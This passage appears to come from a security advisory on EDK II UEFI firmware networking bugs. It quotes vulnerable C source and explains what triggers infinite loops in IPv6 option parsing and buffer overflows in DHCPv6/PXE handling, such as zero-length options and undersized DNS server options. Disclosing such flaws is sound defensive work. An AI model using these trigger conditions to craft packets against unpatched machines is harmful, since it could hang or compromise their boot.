<span class="p">[</span><span class="mi">4</span><span class="p">]</span><span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="n">Length</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">switch</span><span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="n">Option</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="no">Ip6OptionEtherTarget</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="n">LinkLayerOption</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">IP6_ETHER_ADDR_OPTION</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="n">Option</span><span class="p">;</span><span class="w"></span>
<span class="p">[</span><span class="mi">5</span><span class="p">]</span><span class="w"> </span><span class="n">OptLen</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">LinkLayerOption</span><span class="o">-></span><span class="n">Length</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">OptLen</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="c1">// For Ethernet, the length must be 1.</span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="k">goto</span><span class="w"> </span><span class="n">Exit</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="k">default</span><span class="o">:</span><span class="w"></span>
<span class="p">[</span><span class="mi">6</span><span class="p">]</span><span class="w"> </span><span class="n">OptLen</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">Option</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">OptLen</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="c1">// A length of 0 is invalid.</span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="k">goto</span><span class="w"> </span><span class="n">Exit</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="n">Length</span><span class="w"> </span><span class="o">-=</span><span class="w"> </span><span class="mi">8</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">OptLen</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">Option</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="mi">8</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">OptLen</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
</code></pre></div>
<h3>CVE-2023-45232: Infinite loop when parsing unknown options in the Destination Options header</h3>
<p>The function <code>Ip6IsExtsValid</code> in <code>NetworkPkg/Ip6Dxe/Ip6Option.c</code> validates the extension headers that can be found in an incoming IPv6 packet. When dealing with a <em>Destination Options</em> extension header, function <code>Ip6IsOptionValid</code> is called at [1] to validate whatever options are embedded in said <em>Destination Options</em> header:</p>
<div class="highlight"><pre><span></span><code><span class="n">BOOLEAN</span><span class="w"></span>
<span class="nf">Ip6IsExtsValid</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">IP6_SERVICE</span><span class="w"> </span><span class="o">*</span><span class="n">IpSb</span><span class="w"> </span><span class="n">OPTIONAL</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">NET_BUF</span><span class="w"> </span><span class="o">*</span><span class="n">Packet</span><span class="w"> </span><span class="n">OPTIONAL</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">UINT8</span><span class="w"> </span><span class="o">*</span><span class="n">NextHeader</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">UINT8</span><span class="w"> </span><span class="o">*</span><span class="n">ExtHdrs</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">UINT32</span><span class="w"> </span><span class="n">ExtHdrsLen</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">BOOLEAN</span><span class="w"> </span><span class="n">Rcvd</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">OUT</span><span class="w"> </span><span class="n">UINT32</span><span class="w"> </span><span class="o">*</span><span class="n">FormerHeader</span><span class="w"> </span><span class="n">OPTIONAL</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">OUT</span><span class="w"> </span><span class="n">UINT8</span><span class="w"> </span><span class="o">**</span><span class="n">LastHeader</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">OUT</span><span class="w"> </span><span class="n">UINT32</span><span class="w"> </span><span class="o">*</span><span class="n">RealExtsLen</span><span class="w"> </span><span class="n">OPTIONAL</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">OUT</span><span class="w"> </span><span class="n">UINT32</span><span class="w"> </span><span class="o">*</span><span class="n">UnFragmentLen</span><span class="w"> </span><span class="n">OPTIONAL</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">OUT</span><span class="w"> </span><span class="n">BOOLEAN</span><span class="w"> </span><span class="o">*</span><span class="n">Fragmented</span><span class="w"> </span><span class="n">OPTIONAL</span><span class="w"></span>
<span class="w"> </span><span class="p">)</span><span class="w"></span>
<span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="p">[...]</span><span class="w"></span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="n">Offset</span><span class="w"> </span><span class="o"><=</span><span class="w"> </span><span class="n">ExtHdrsLen</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">switch</span><span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="n">NextHeader</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="p">[...]</span><span class="w"></span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="no">IP6_DESTINATION</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="p">[...]</span><span class="w"></span>
<span class="w"> </span><span class="n">Offset</span><span class="o">++</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">Option</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ExtHdrs</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">Offset</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">OptionLen</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">UINT8</span><span class="p">)((</span><span class="o">*</span><span class="n">Option</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mi">8</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">2</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">Option</span><span class="o">++</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">Offset</span><span class="o">++</span><span class="p">;</span><span class="w"></span>
<span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">((</span><span class="n">IpSb</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="p">(</span><span class="n">Packet</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="o">!</span><span class="n">Ip6IsOptionValid</span><span class="w"> </span><span class="p">(</span><span class="n">IpSb</span><span class="p">,</span><span class="w"> </span><span class="n">Packet</span><span class="p">,</span><span class="w"> </span><span class="n">Option</span><span class="p">,</span><span class="w"> </span><span class="n">OptionLen</span><span class="p">,</span><span class="w"> </span><span class="n">Offset</span><span class="p">))</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">FALSE</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="p">[...]</span><span class="w"></span>
</code></pre></div>
<p>The function <code>Ip6IsOptionValid</code> handles different option types. If it's not one of <code>Pad1</code>, <code>PadN</code>, or <code>RouterAlert</code>, the switch case falls into the <code>default</code> clause at [3]. In that case, the option code is masked with <code>Ip6OptionMask</code> (0xC0) at [4], and if the result of the AND operation is <code>Ip6OptionSkip</code> (0x00), then the <code>Offset</code> variable is updated by adding the value of the <code>Length</code> field of the option at [5]. Notice that it doesn't check if the <code>Length</code> field of the option is 0, in which case the <code>Offset</code> value is never modified, and thus an infinite loop ensues, since execution can never break out of the <code>while</code> loop at [2].</p>
<div class="highlight"><pre><span></span><code><span class="n">Ip6IsOptionValid</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">IP6_SERVICE</span><span class="w"> </span><span class="o">*</span><span class="n">IpSb</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">NET_BUF</span><span class="w"> </span><span class="o">*</span><span class="n">Packet</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">UINT8</span><span class="w"> </span><span class="o">*</span><span class="n">Option</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">UINT8</span><span class="w"> </span><span class="n">OptionLen</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">UINT32</span><span class="w"> </span><span class="n">Pointer</span><span class="w"></span>
<span class="w"> </span><span class="p">)</span><span class="w"></span>
<span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="p">[...]</span><span class="w"></span>
<span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="n">Offset</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="n">OptionLen</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">OptionType</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">Option</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">Offset</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">switch</span><span class="w"> </span><span class="p">(</span><span class="n">OptionType</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="no">Ip6OptionPad1</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="p">[...]</span><span class="w"></span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="no">Ip6OptionPadN</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="p">[...]</span><span class="w"></span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="no">Ip6OptionRouterAlert</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="p">[...]</span><span class="w"></span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">[...]</span><span class="w"></span>
<span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="w"> </span><span class="k">default</span><span class="o">:</span><span class="w"></span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="c1">// The highest-order two bits specify the action must be taken if</span>
<span class="w"> </span><span class="c1">// the processing IPv6 node does not recognize the option type.</span>
<span class="w"> </span><span class="c1">//</span>
<span class="p">[</span><span class="mi">4</span><span class="p">]</span><span class="w"> </span><span class="k">switch</span><span class="w"> </span><span class="p">(</span><span class="n">OptionType</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="n">Ip6OptionMask</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="no">Ip6OptionSkip</span><span class="p">:</span><span class="w"></span>
<span class="p">[</span><span class="mi">5</span><span class="p">]</span><span class="w"> </span><span class="n">Offset</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">UINT8</span><span class="p">)(</span><span class="n">Offset</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">Option</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">Offset</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">));</span><span class="w"></span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">[...]</span><span class="w"></span>
</code></pre></div>
<p>As a result of this infinite loop, the affected computer never finishes booting up.</p>
<h3>CVE-2023-45233: Infinite loop when parsing a PadN option in the Destination Options header</h3>
<p>As mentioned in the previous bug, function <code>Ip6IsOptionValid</code> in <code>NetworkPkg/Ip6Dxe/Ip6Option.c</code> is called to validate whatever options are embedded in a <em>Destination Options</em> header within an IPv6 packet. The function <code>Ip6IsOptionValid</code> handles different option types. One of those supported types is <code>PadN</code> ([2]). In that case, the <code>Offset</code> variable is updated by adding the value of the <code>Length</code> field of the <code>PadN</code> option, plus 2 ([3]). If the <code>Length</code> field of the option is 0xFE, then 0x100 (0xFE + 2) will be added to <code>Offset</code>. But the result of that addition is truncated to a <code>UINT8</code> (the type of the <code>Offset</code> variable), which means that when adding 0x100 to <code>Offset</code> it will remain unmodified, and thus an infinite loop ensues, since execution can never break out of the <code>while</code> loop at [1].</p>
<div class="highlight"><pre><span></span><code><span class="n">Ip6IsOptionValid</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">IP6_SERVICE</span><span class="w"> </span><span class="o">*</span><span class="n">IpSb</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">NET_BUF</span><span class="w"> </span><span class="o">*</span><span class="n">Packet</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">UINT8</span><span class="w"> </span><span class="o">*</span><span class="n">Option</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">UINT8</span><span class="w"> </span><span class="n">OptionLen</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">UINT32</span><span class="w"> </span><span class="n">Pointer</span><span class="w"></span>
<span class="w"> </span><span class="p">)</span><span class="w"></span>
<span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">UINT8</span><span class="w"> </span><span class="n">Offset</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">[...]</span><span class="w"></span>
<span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="n">Offset</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="n">OptionLen</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">OptionType</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">Option</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">Offset</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">switch</span><span class="w"> </span><span class="p">(</span><span class="n">OptionType</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="p">[...]</span><span class="w"></span>
<span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="no">Ip6OptionPadN</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="c1">// It is a PadN option</span>
<span class="w"> </span><span class="c1">//</span>
<span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="w"> </span><span class="n">Offset</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">UINT8</span><span class="p">)(</span><span class="n">Offset</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">Option</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">Offset</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">2</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span><span class="w"></span>
</code></pre></div>
<p>As a consequence of this infinite loop, the affected computer never finishes booting up.</p>
<h3>CVE-2023-45234: Buffer overflow when processing DNS Servers option in a DHCPv6 Advertise message</h3>
<p>The function <code>PxeBcHandleDhcp6Offer</code> in <code>NetworkPkg/UefiPxeBcDxe/PxeBcDhcp6.c</code> handles DHCPv6 offers made by DHCPv6 servers in response to EDK II <code>Solicit</code> messages.
The function allocates a pool buffer with the size given by the <code>OPTION_DNS_SERVERS</code> (0x17) option length at [1], which is controlled by the DHCPv6 server, then at [2] it calls <code>CopyMem</code> with a fixed size: <code>sizeof (EFI_IPv6_ADDRESS)</code>, which is 0x10. This means that if the length of the <code>OPTION_DNS_SERVERS</code> option included in the server response is shorter than 0x10, then that leads to a buffer overflow.</p>
<div class="highlight"><pre><span></span><code><span class="n">PxeBcHandleDhcp6Offer</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">PXEBC_PRIVATE_DATA</span><span class="w"> </span><span class="o">*</span><span class="n">Private</span><span class="w"></span>
<span class="w"> </span><span class="p">)</span><span class="w"></span>
<span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="p">[...]</span><span class="w"></span>
<span class="w"> </span><span class="c1">// First try to cache DNS server address if DHCP6 offer provides.</span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">Cache6</span><span class="o">-></span><span class="n">OptList</span><span class="p">[</span><span class="n">PXEBC_DHCP6_IDX_DNS_SERVER</span><span class="p">]</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="n">Private</span><span class="o">-></span><span class="n">DnsServer</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">AllocateZeroPool</span><span class="w"> </span><span class="p">(</span><span class="n">NTOHS</span><span class="w"> </span><span class="p">(</span><span class="n">Cache6</span><span class="o">-></span><span class="n">OptList</span><span class="p">[</span><span class="n">PXEBC_DHCP6_IDX_DNS_SERVER</span><span class="p">]</span><span class="o">-></span><span class="n">OpLen</span><span class="p">));</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">Private</span><span class="o">-></span><span class="n">DnsServer</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">EFI_OUT_OF_RESOURCES</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="w"> </span><span class="n">CopyMem</span><span class="w"> </span><span class="p">(</span><span class="n">Private</span><span class="o">-></span><span class="n">DnsServer</span><span class="p">,</span><span class="w"> </span><span class="n">Cache6</span><span class="o">-></span><span class="n">OptList</span><span class="p">[</span><span class="n">PXEBC_DHCP6_IDX_DNS_SERVER</span><span class="p">]</span><span class="o">-></span><span class="n">Data</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="w"> </span><span class="p">(</span><span class="n">EFI_IPv6_ADDRESS</span><span class="p">));</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
</code></pre></div>
<h3>CVE-2023-45235: Buffer overflow when handling Server ID option from a DHCPv6 proxy Advertise message</h3>
<p>The function <code>PxeBcRequestBootService</code> in <code>NetworkPkg/UefiPxeBcDxe/PxeBcDhcp6.c</code> builds and sends a request to retrieve the boot file, and parses the reply.</p>
<div class="highlight"><pre><span></span><code><span class="n">EFI_STATUS</span><span class="w"></span>
<span class="nf">PxeBcRequestBootService</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">PXEBC_PRIVATE_DATA</span><span class="w"> </span><span class="o">*</span><span class="n">Private</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">UINT32</span><span class="w"> </span><span class="n">Index</span><span class="w"></span>
<span class="w"> </span><span class="p">)</span><span class="w"></span>
<span class="p">{</span><span class="w"></span>
<span class="p">[...]</span><span class="w"></span>
<span class="w"> </span><span class="n">EFI_PXE_BASE_CODE_DHCPV6_PACKET</span><span class="w"> </span><span class="o">*</span><span class="n">Discover</span><span class="p">;</span><span class="w"></span>
<span class="p">[...]</span><span class="w"></span>
<span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="n">Discover</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">AllocateZeroPool</span><span class="w"> </span><span class="p">(</span><span class="k">sizeof</span><span class="w"> </span><span class="p">(</span><span class="n">EFI_PXE_BASE_CODE_DHCPV6_PACKET</span><span class="p">));</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">Discover</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">EFI_OUT_OF_RESOURCES</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="c1">// Build the request packet by the cached request packet before.</span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="n">Discover</span><span class="o">-></span><span class="n">TransactionId</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">IndexOffer</span><span class="o">-></span><span class="n">Dhcp6</span><span class="p">.</span><span class="n">Header</span><span class="p">.</span><span class="n">TransactionId</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">Discover</span><span class="o">-></span><span class="n">MessageType</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Request</span><span class="o">-></span><span class="n">Dhcp6</span><span class="p">.</span><span class="n">Header</span><span class="p">.</span><span class="n">MessageType</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">RequestOpt</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Request</span><span class="o">-></span><span class="n">Dhcp6</span><span class="p">.</span><span class="n">Option</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">DiscoverOpt</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Discover</span><span class="o">-></span><span class="n">DhcpOptions</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">DiscoverLen</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">sizeof</span><span class="w"> </span><span class="p">(</span><span class="n">EFI_DHCP6_HEADER</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">RequestLen</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">DiscoverLen</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="c1">// Find Server ID Option from ProxyOffer.</span>
<span class="w"> </span><span class="c1">//</span>
<span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">Private</span><span class="o">-></span><span class="n">OfferBuffer</span><span class="p">[</span><span class="n">Index</span><span class="p">].</span><span class="n">Dhcp6</span><span class="p">.</span><span class="n">OfferType</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">PxeOfferTypeProxyBinl</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="w"> </span><span class="n">Option</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">PxeBcDhcp6SeekOption</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">IndexOffer</span><span class="o">-></span><span class="n">Dhcp6</span><span class="p">.</span><span class="n">Option</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">IndexOffer</span><span class="o">-></span><span class="n">Length</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">4</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">DHCP6_OPT_SERVER_ID</span><span class="w"></span>
<span class="w"> </span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">Option</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">EFI_NOT_FOUND</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="c1">// Add Server ID Option.</span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="n">OpLen</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">NTOHS</span><span class="w"> </span><span class="p">(((</span><span class="n">EFI_DHCP6_PACKET_OPTION</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="n">Option</span><span class="p">)</span><span class="o">-></span><span class="n">OpLen</span><span class="p">);</span><span class="w"></span>
<span class="p">[</span><span class="mi">4</span><span class="p">]</span><span class="w"> </span><span class="n">CopyMem</span><span class="w"> </span><span class="p">(</span><span class="n">DiscoverOpt</span><span class="p">,</span><span class="w"> </span><span class="n">Option</span><span class="p">,</span><span class="w"> </span><span class="n">OpLen</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">4</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">DiscoverOpt</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="p">(</span><span class="n">OpLen</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">4</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">DiscoverLen</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="p">(</span><span class="n">OpLen</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">4</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>At [1] the function allocates a buffer in the pool to hold an <code>EFI_PXE_BASE_CODE_DHCPV6_PACKET</code> structure, which is defined this way in <code>MdePkg/Include/Protocol/PxeBaseCode.h</code>:</p>
<div class="highlight"><pre><span></span><code><span class="c1">///</span>
<span class="c1">/// DHCPV6 Packet structure.</span>
<span class="c1">///</span>
<span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">UINT32</span><span class="w"> </span><span class="n">MessageType</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mi">8</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">UINT32</span><span class="w"> </span><span class="n">TransactionId</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mi">24</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">UINT8</span><span class="w"> </span><span class="n">DhcpOptions</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span><span class="w"></span>
<span class="p">}</span><span class="w"> </span><span class="n">EFI_PXE_BASE_CODE_DHCPV6_PACKET</span><span class="p">;</span><span class="w"></span>
</code></pre></div>
